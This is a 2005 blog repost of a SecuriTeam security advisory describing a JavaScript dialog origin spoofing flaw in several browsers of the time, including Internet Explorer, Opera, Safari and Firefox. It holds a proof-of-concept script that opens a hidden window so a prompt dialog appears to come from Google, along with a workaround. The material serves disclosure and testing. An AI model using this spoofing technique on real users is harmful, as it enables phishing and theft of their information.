Search This Blog

Thursday, June 23, 2005

[NEWS] Multiple Browsers Dialog Origin Vulnerability (Test)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Multiple Browsers Dialog Origin Vulnerability (Test)
------------------------------------------------------------------------

SUMMARY

By crafting a special JavaScript code attackers can steal information from
users by mimicking the look and feel of a trusted web site, and preforming
a man in the middle attack.

DETAILS

Vulnerable Systems:
* Internet Explorer for Mac version 5.x
* Internet Explorer version 6.x
* Opera version 7.x
* Opera version 8.x
* Safari version 1.x
* iCab version 2.x
* Mozilla version 1.7.x
* FireFox version 0.x
* FireFox version 1.x
* Camino version 0.x
* NetCaptor version 7.5.4

The problem is that JavaScript dialog boxes do not display or include
their origin, which allows a new window to open e.g. a prompt dialog box,
which appears to be from a trusted site.

Proof of Concept:
< script language="JavaScript" type="text/javascript">
var o_height = 768;
var o_width = 1024;

if ( screen.width > 100 )
{
o_width = screen.width;
}

if ( screen.height > 100 )
{
o_height = screen.height;
}

function run()
{
if ( window.opera )
{
window.open('http://www.google.com.secunia.com/tests/origin_spoof.php',
'_blank',
height=1,width=1,left=3000,top=3000,resizable=no,scrollbars=no');
}
else
{
window.open('http://www.google.com.secunia.com/tests/origin_spoof.php',
'_blank', 'height=1,width=1,resizable=no,scrollbars=no,left=' + ((o_width
/ 2) - 50) + ',top=' + ((o_height / 2) - 150) );
}
window.focus();
}
</script>

This demonstration will open the Google.com web site. After a while, a
JavaScript dialog will be displayed in front of the Google.com web site.

< a href="http://www.google.com/" onclick="run();">< font
color="#000000">Test Now - Left Click On This Link</font></a>

You are vulnerable, if a JavaScript dialog box appears in front of the
Google.com web site without displaying information about its origin.

Workaround:
Disable Javascript support with your web browser. And do not mix your
surfing of trusted sites with untrusted web sites.

Vendors Status:
None of the vendors has released any fixes for this issue.

ADDITIONAL INFORMATION

The information has been provided by <mailto:juha-matti.laurio@netti.fi>
Juha-Matti Laurio .
The original article can be found at:
<http://secunia.com/multiple_browsers_dialog_origin_vulnerability_test/>
http://secunia.com/multiple_browsers_dialog_origin_vulnerability_test/

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

No comments: